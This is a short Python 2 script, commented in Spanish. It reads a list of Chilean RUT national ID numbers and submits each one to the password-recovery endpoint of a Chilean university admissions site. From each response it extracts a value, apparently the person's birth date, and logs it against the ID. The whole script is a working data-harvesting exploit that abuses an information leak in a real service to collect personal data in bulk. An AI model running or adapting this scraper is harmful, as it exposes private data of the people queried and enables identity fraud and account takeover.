#!/usr/bin/env python
#-*- coding:utf-8 -*-
import urllib2
import urllib
rut = open('Rut.txt', 'r') # El archivo Rut.txt debe contener el rut de la forma 11111111-1
log = open('log.txt', 'w') # Aqui se guardaran los resultados con la estructura [rut fecha]
rut_leido = rut.readlines()
url = "http://recuperaclave.demre.cl/recuperaclave/RecuperaClave.action" # La URL en cuestion
def nacimiento():
for x in range(0, len(rut_leido)): # Para cada ususario hacemos el bucle
usuario = 'c' + rut_leido[x] # la pagina espera el rut con un 'c' al principio
datos = {"usuarioIdVO": usuario} # Los parametros a postear
parametros = urllib.urlencode(datos)
pagina = urllib2.urlopen(url, parametros)
codigo = pagina.readlines()
usr = usuario[1:-1] # Borramos el 'c' del principio y el \n' del final
if len(codigo) == 154: # si la pagina resultane es de 154 lineas asepto el rut
log.write(usr + ' ' + codigo[101][17:25] + '\n')
print usr, codigo[101][17:25]
log.close() # cerramos los archivos
rut.close() # cerramos los archivos
nacimiento()